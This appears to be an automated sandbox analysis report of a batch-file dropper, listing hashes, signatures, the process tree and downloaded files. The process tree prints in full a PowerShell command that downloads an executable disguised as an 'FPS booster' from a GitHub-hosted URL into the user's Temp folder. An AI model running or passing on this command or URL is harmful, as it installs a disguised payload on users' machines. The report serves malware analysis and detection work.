Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/06/2026, 02:41

General

  • Target
    testttttttttttttttttttttt.bat
  • Size 10KB
  • Sample260627-c6sslshs2m
  • SHA256 6e2bc4ca91ab8cebe70cf9ed66442e0691984422e09075487069713aeda1b026
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://downgit.github.io/#/home?url=https://github.com/ZurbsOV/yoyoyo/blob/main/FPSBooster.exe

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testttttttttttttttttttttt.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4276
    • C:\Windows\system32\mode.com
      mode con: cols=100 lines=30
      2⤵
        PID:988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$url='https://downgit.github.io/#/home?url=https://github.com/ZurbsOV/yoyoyo/blob/main/FPSBooster.exe'; $dest='C:\Users\Admin\AppData\Local\Temp\FPS_Booster.exe'; $wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Mozilla/5.0'); $wc.DownloadFile($url,$dest)"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5944
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:3908

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          FPS_Booster.exe

          • Path C:\Users\Admin\AppData\Local\Temp\FPS_Booster.exe
          • Size 1KB
          • SHA256 804ce1439e171df861fb1f7e015240b26fcb7070c4f724d02cc337da52fd7922
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_miq2esf0.xyu.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_miq2esf0.xyu.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/5944-0-0x00007FF883A3F000-0x00007FF883A40000-memory.dmp

          memory/5944-6-0x00000188B2EB0000-0x00000188B2ED2000-memory.dmp

          memory/5944-8-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-9-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-10-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-11-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-12-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-15-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

          memory/5944-16-0x00007FF8838B0000-0x00007FF884254000-memory.dmp